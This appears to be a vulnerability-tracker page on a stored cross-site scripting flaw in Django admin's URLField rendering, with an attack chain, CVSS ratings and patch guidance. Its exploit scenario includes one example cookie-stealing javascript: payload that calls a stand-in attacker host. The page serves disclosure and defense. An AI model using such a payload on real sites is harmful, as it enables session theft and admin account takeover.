Skip to main content

Django Admin EUVDEUVD-2026-52750

| CVE-2026-15920 MEDIUM
Improper Neutralization of Script in Attributes in a Web Page (CWE-83)
5.1
CVSS 4.0 · Vendor
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit malicious javascript: URL via public form
  2. Delivery
    Value stored in URLField model record
  3. Exploit
    Admin user opens changelist or read-only view
  4. Execution
    Admin browser renders stored URL as unvalidated <a> href
  5. Persist
    Admin clicks link, triggering JavaScript execution
  6. Impact
    Session cookie or CSRF token exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Attribute value escaping
Exploitation Conditions

Exploitation requires two concurrent conditions: first, an attacker must have write access to a URLField - this access may be unauthenticated if the application exposes a public-facing form (e.g., user profile, business listing, bookmark submission) that saves to a model containing a URLField; alternatively, the attacker must have at minimum authenticated write access to the relevant model. Second, a Django admin user must view the admin changelist or read-only field that displays the affected record. The admin user does not need to take any action beyond loading the page for the link to be rendered, but typically would need to click the link for JavaScript execution to occur (browser behavior varies by scheme). The vulnerability is confined to the Django admin interface (contrib.admin) - front-end templates that render URLField values without using display_for_field are unaffected by this specific fix. Applications that do not register models with URLFields in the admin, or that do not allow external parties to write to those fields, face no meaningful risk from this CVE.

Impact

No CVSS vector or EPSS score was supplied in the input data, so numerical risk signals cannot be cited. Based on the Django project's own severity classification of 'moderate' and the nature of the flaw, real-world risk is context-dependent. Exploitation requires two sequential steps: (1) an attacker must be able to write a malicious URL into a URLField in the database - which may require no authentication if a public form accepts URLField input, or may require at minimum authenticated write access - and (2) a Django admin user must view the page containing that field. The admin context is high-value: successful XSS could allow session-cookie theft or CSRF token extraction, enabling full admin compromise. However, the requirement for an admin user to view and interact with the rendered link (UI:R) meaningfully limits blast radius. No KEV status, no POC code, and no EPSS data are available from the provided sources, so this cannot be assessed as a priority beyond its 'moderate' vendor classification without application-specific context (specifically: does a public form feed URLFields that appear in admin).

Exploit ScenarioDerived

An attacker submits a registration or profile form that accepts a 'website' URL field, entering a value such as javascript:fetch('https://attacker.example/steal?c='+document.cookie). The value is stored in the database without scheme validation. When a Django admin user opens the model's changelist or a read-only detail view, the admin renders this stored value as a clickable <a> tag. If the admin user clicks the link, the JavaScript executes in the admin's browser session, exfiltrating the session cookie and potentially granting the attacker full admin access. No public proof-of-concept code has been identified at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 04, 2026

Stored cross-site scripting in Django admin's URLField rendering allows a malicious URL value (e.g., using a javascript: scheme) to be displayed as a clickable link on changelist views and read-only admin fields without scheme validation. Any application that accepts URLField input via public-facing forms and exposes those records in the Django admin is affected, covering Django 5.2 through the 6.1 release candidate. No public exploit or active exploitation (CISA KEV) has been identified at time of analysis; patches were released August 4, 2026 as Django 5.2.17 and 6.0.8.

RemediationAI

Upgrade to Django 5.2.17 or Django 6.0.8, both released August 4, 2026. Official release packages, checksums, and PGP-verified tarballs are available at https://www.djangoproject.com/download/5.2.17/tarball/ and the corresponding 6.0.8 download page. Source patches are available on GitHub commits for the main, 6.1, 6.0, and 5.2 branches (see references). If immediate upgrade is not feasible, a targeted compensating control is to audit any public-facing forms that write to models with URLField attributes and add explicit URL scheme validation (e.g., restrict to http and https only) at the form or serializer layer before data reaches the database. This does not fix the rendering flaw but eliminates the attacker's write path. Note: this workaround does not protect against malicious values already stored in the database - those must be audited and sanitized separately.

Affected VersionsENISA

Django 6.0 <6.0.8
Django 5.2 <5.2.17

Affected Packages

euvd django fix: 5.2.17, 6.0.8

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Django's admin uses display_for_field to render model field values in changelist and read-only views. For URLField, the admin wrapped the stored string value in an <a href="..."> tag without first passing it through URLValidator. This means any string value - including those using schemes such as javascript:, data:, or vbscript: - was emitted verbatim as the href attribute. The CWE class is CWE-79 (Improper Neutralization of Input During Web Page Generation / Cross-Site Scripting). The fix validates each stored URL with URLValidator before rendering a hyperlink; values that fail validation are displayed as plain text. No CPE string was provided in the input data, but affected products are confirmed as Django main, 6.1-rc, 6.0.x, and 5.2.x.

Know when Django gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (CNA) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network-exploitable stored XSS; PR:N because a public form may provide write access; UI:R and S:C because an admin must view the link; C:L/I:L for session/data exposure in admin context.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
SUSE 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Red Hat 5.4 MEDIUM

Primary rating from Vendor (CNA).

CVSS VectorVendor

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 04, 2026 - 17:16 EUVD
CVE Published
Aug 04, 2026 - 16:06 oss-security
CRITICAL

Description PRE-NVD

Disclosed via oss-security. NVD scoring and full description are pending.

Executive ViewAI

Why It Matters

Django applications accepting URL input through public forms are vulnerable to stored cross-site scripting attacks in admin interfaces, risking compromise of administrative accounts across affected organizations running Django 5.2 through 6.1 RC. Patches released August 4, 2026 provide immediate remediation for all currently supported versions.

Business Impact: Severe
Compensating Controls

Vendor-released patch: Django 5.2.17 and Django 6.0.8 (released August 4, 2026). For systems unable to patch immediately, validate URLField input to reject javascript: and data: URI schemes, and restrict Django admin interfaces to internal-only network access.

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Prevalence
High
Django powers a large fraction of Python web applications worldwide
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.

More in Django

View all
CVE-2021-23336 MEDIUM POC
5.9 Feb 15

The package python/cpython from 0 and before 3.6.13, from 3.7.0 and before 3.7.10, from 3.8.0 and before 3.8.8, from 3.9

CVE-2017-12794 MEDIUM POC
6.1 Sep 07

In Django 1.10.x before 1.10.8 and 1.11.x before 1.11.5, HTML autoescaping was disabled in a portion of the template for

CVE-2022-34265 CRITICAL POC
9.8 Jul 04

An issue was discovered in Django 3.2 before 3.2.14 and 4.0 before 4.0.6. Rated critical severity (CVSS 9.8), this vulne

CVE-2021-35042 CRITICAL POC
9.8 Jul 02

Django 3.1.x before 3.1.13 and 3.2.x before 3.2.5 allows QuerySet.order_by SQL injection if order_by is untrusted input

CVE-2019-19844 CRITICAL POC
9.8 Dec 18

Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. Rated critical severity (CVSS 9.8

CVE-2026-61594 CRITICAL POC
9.1 Sep 16

An authentication/authorization bypass in the djust Python live-view framework (versions prior to 1.0.7) lets unauthenti

CVE-2026-61599 HIGH POC
8.8 Sep 16

Unauthenticated arbitrary Python module import in djust before 1.0.7 lets any client that can reach the WebSocket or SSE

CVE-2020-9402 HIGH POC
8.8 Mar 05

Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allows SQL Injection if untrusted data is used as a

CVE-2016-6186 MEDIUM POC
6.1 Aug 05

Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function in contrib/admin/static/admin/j

CVE-2026-93456 HIGH POC
8.4 Sep 18

Forged content modification in django-page-cms through 2.0.13 lets unauthenticated remote attackers exploit five CSRF-ex

CVE-2026-61593 HIGH POC
8.1 Sep 16

Cross-site request forgery in djust's Server-Sent-Events transport affects all versions prior to 1.0.7 and allows a cros

CVE-2026-61590 HIGH POC
7.4 Sep 16

Unauthenticated remote attackers can read live Django view and session state and invoke server-side handlers through dju

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Module for Package Hub 15 SP7 Fixed
openSUSE Leap 16.0 Fixed
openSUSE Tumbleweed Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP7 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected

References

Advisories & patches
PATCH https://github.com/django/django/commit/115ffd0463a765ab1cc93de18e94b5459b8a300e PATCH https://github.com/django/django/commit/13debb622a32720bda1bccda7622fd14fbf3931b PATCH https://github.com/django/django/commit/208f80cb682868b584ed0a78f23e4ba6304212aa PATCH https://github.com/django/django/commit/224dbc832586ad5cfb0237c2ff30d14baeaddc6f PATCH https://github.com/django/django/commit/27137e655e442e81095f1f8f77ff3870d9fdf169 PATCH https://github.com/django/django/commit/39b3e2d0c743a338def6c473086ebc06865e86b6 PATCH https://github.com/django/django/commit/47511a21026cdd721d8fbf8571cc079bc38bb46d PATCH https://github.com/django/django/commit/5a260d309a4c8010c2ebda24eb758a5d95e2508a PATCH https://github.com/django/django/commit/5b3523d29be25948e1dd90b3863a002f00fc865f PATCH https://github.com/django/django/commit/6af5da31775417c610dbf9c3f1b5b8333d42daf6 PATCH https://github.com/django/django/commit/9e4a3f186b6b07b483bfd9195ea06734663fcd06 PATCH https://github.com/django/django/commit/b9adb81339cc418f8f56b1050cca6dfec3ab6349 PATCH https://github.com/django/django/commit/ba80833fa656dd09660b97c4429331067db1b080 PATCH https://github.com/django/django/commit/c72a5dbb64d0777f3f471f1be94e8b2ca91e0959 PATCH https://github.com/django/django/commit/d2e59b77fe18de318a8272c2a7bbc798d84d1d0d PATCH https://github.com/django/django/commit/f1949c1f9758947ade984c895ff16bef46f56520 ADVISORY https://docs.djangoproject.com/en/dev/ref/contrib/gis/gdal/#raster-security ADVISORY https://docs.djangoproject.com/en/dev/releases/security/ ADVISORY https://groups.google.com/g/django-announce ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-15920 ADVISORY https://seclists.org/oss-sec/2026/q3/406 ADVISORY https://vuldb.com/vuln/385877 ADVISORY https://www.djangoproject.com/download/5.2.17/checksum/ ADVISORY https://www.djangoproject.com/weblog/2026/aug/04/security-releases/ ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:3503/

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy